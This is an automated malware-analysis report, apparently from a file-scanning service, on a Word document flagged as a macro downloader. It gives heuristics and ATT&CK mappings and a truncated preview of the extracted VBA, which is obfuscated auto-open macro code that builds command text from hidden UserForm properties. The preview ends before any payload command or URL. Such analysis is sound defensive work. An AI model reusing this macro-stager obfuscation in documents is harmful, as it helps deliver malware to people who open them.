MALICIOUS
302
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1204.002 Malicious File
The sample contains VBA macros, including a Document_Open macro and a UserForm hidden-property command stager, which are indicative of malicious intent. The presence of these elements suggests the macro is designed to execute arbitrary code, likely downloading and executing a second-stage payload. The ClamAV detection further supports the malicious classification.
Heuristics 8
-
ClamAV: Doc.Malware.Sagent-7465787-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Sagent-7465787-0
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
GetObject call high OLE_VBA_GETOBJGetObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 13482 bytes |
SHA-256: 74993a92fa97214dd96a5d2b5327e33f004aeade4c4d427161da4a8c20688aac |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Gnlsjjcusjt"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Tyrrybltzn, 0, 0, MSForms, TextBox"
Private Sub Document_open()
Qwricmxm = "Ut id dolores."
Dim Lzhxfjzzleppp As Boolean
Dim Loifvdblox As Boolean
Ynducukqmfkl = ("Ea saepe laudantium.")
Dim Uiglahhx As Boolean
Dim Ohbuknsahpamh As Double
Dim Vetyfexasit As Boolean
Wqmbvgfv = Gymjdpbiawx
Dim Oymsrgjm As Boolean
Qeqczqbesc = ("Minus.")
Dim Zsutkqzsie As Boolean
Dim Ycjnoojdpqw As String
Dim Ncryrfdnby As Integer
Xvsnyalmcdwgn = "Est maxime maxime quasi amet laudantium non voluptatem provident illo."
Dim Slxjvpgx As Double
Dim Uqznawepq As String
Dim Rqqpkskjfllc As Integer
Beoxiqxdfe = ("Atque.")
Dim Ybgsqxylav As Integer
Lwwoiwioydys = 757
Hbvokmgyticn = Eqkgxumluju
Vovcndypwpmk = 522
Vuhplzipf
Turzduvvbcf = "Omnis."
Dim Elbexdzznadjz As Integer
Dim Bvofppzpldz As String
Bjerkkqkpi = ("Corporis saepe est.")
Dim Aogtnqdmiu As Boolean
Dim Zbhfwqbxsoy As String
Dim Lyosclmfupatv As Double
Vydhcqsjdl = Gkrlqcxbrptfi
Dim Elglbsobu As String
Bftplhomfudd = ("Ut.")
Dim Xvvgexyiinx As Double
Dim Ngsixbyasicdm As String
Dim Onbivudwtvpnt As Boolean
Gsoiagnmgcmqe = "Praesentium qui harum vitae aut tempora non possimus."
Dim Csgctvmobejj As Integer
Dim Hnfivbkpeqp As Boolean
Dim Vfieyjas As Double
Qybtdmdrw = ("Nihil ut.")
Dim Yogijlinoqmst As Integer
Tzlaxvkhoj = 220
Gdaztmcxq = Pxreiqeghctte
Qdnhsypdbknqt = 680
End Sub
Attribute VB_Name = "Xkfmmyhafmld"
Attribute VB_Base = "0{D14E4E48-EC5B-4887-917E-DC4373B55729}{1A07E5C1-5FCE-4FC3-947F-E503CE5A5280}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Yxbehrezggej"
Function Ikyxpzyxt()
Hnsxbhpuspn = "Voluptatem nulla itaque."
Dim Omyfpambijf As Boolean
Dim Tqeioqyqx As Integer
Rbwyotjjrznj = ("Ab et.")
Dim Eugozemnvo As String
Dim Jawdyqadooe As String
Dim Oawtgfhlxjw As Double
Yhhefhzx = Mnbxiowqqs
Dim Epupjrelra As Boolean
Sswjiwnpfrkff = ("Rerum.")
Dim Xbtgybndrkpyi As String
Dim Rlbefqsmhtflf As Boolean
Dim Okbtgkxtn As Boolean
Oeztxfwh = "Et enim nostrum."
Dim Eachfplmtpiqm As Double
Dim Xomntsnjb As Double
Dim Movzoyngkky As Boolean
Umhufvyr = ("Cum quibusdam nobis eligendi vel occaecati qui.")
Dim Aqjtfgqqbgr As Boolean
Rtbjdfluydlth = 122
Efdvizviffhz = Xfjsopaeluls
Nxaxvwlv = 847
Ulptxaqkicz = Gnlsjjcusjt.Tyrrybltzn
Nkenoqgnfedv = "Nicholas"
Dim Hbuzqzvh As Boolean
Dim Iydsfxcz As Double
Njhqcmiatizx = ("Delectus quibusdam voluptatum.")
Dim Oohdkewfzbeqm As String
Dim Icdxdnyte As Integer
Dim Qvocdlbh As Double
Pzptwijglmzu = Fvatjqvdgg
Dim Rxxtofkp As Integer
Odhfomsj = ("Rerum illo itaque.")
Dim Bdwhkiymwmsif As Double
Dim Mjrxtkdschxl As Boolean
Dim Ilwbrzna As String
Ghxsglfynn = "Vitae ipsam."
Dim Amkmylua As String
Dim Uknbvgnuemuir As Double
Dim Klrcyxqagk As Double
Fbcfowjnnfe = ("Samuel")
Dim Ksjpiruyznzdy As Double
Djhqkpitbgfmh = 707
Fhbdnfglysptf = Cqhkjdyo
Cyhjcfnyai = 72
Usmlrmbv = Ulptxaqkicz + Xkfmmyhafmld.Nhhzvrtq + Xkfmmyhafmld.Sseiiywgxzliw + Xkfmmyhafmld.Zjmiihfrc
Iknqxilmlad = "Ut repellat."
Dim Wqdoicerjdrt As Integer
Dim Djeojwsrgzhz As String
Gqwyeiwh = ("Rerum dolores corrupti accusantium eaque beatae.")
Dim Ipyvygwxvnh As Boolean
Dim Mtodfkegj As Double
Dim Kthtotyv As Integer
Guywszdjdrs = Keqerxyjzs
Dim Fzcjcolwrg As Integer
Hmkbxfglhiw = ("Aut sunt sint qui.")
Dim Ohyhfgcdknzaa As Double
Dim Hhseezxe As Double
Dim Ltlidwdnkohno As Boolean
Xmwzlaxeeeaqs = "Dale"
Dim Qclkunqvhqwmq As Double
Dim Tsfehnbfbwoo As String
Dim Dfkdlxeb As Integer
Mhroionhrjkh = ("Laborum sapiente.")
Dim Clpxjnfyire As Boolean
Jeppronsaw = 334
Mjhwytvuwazih =
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.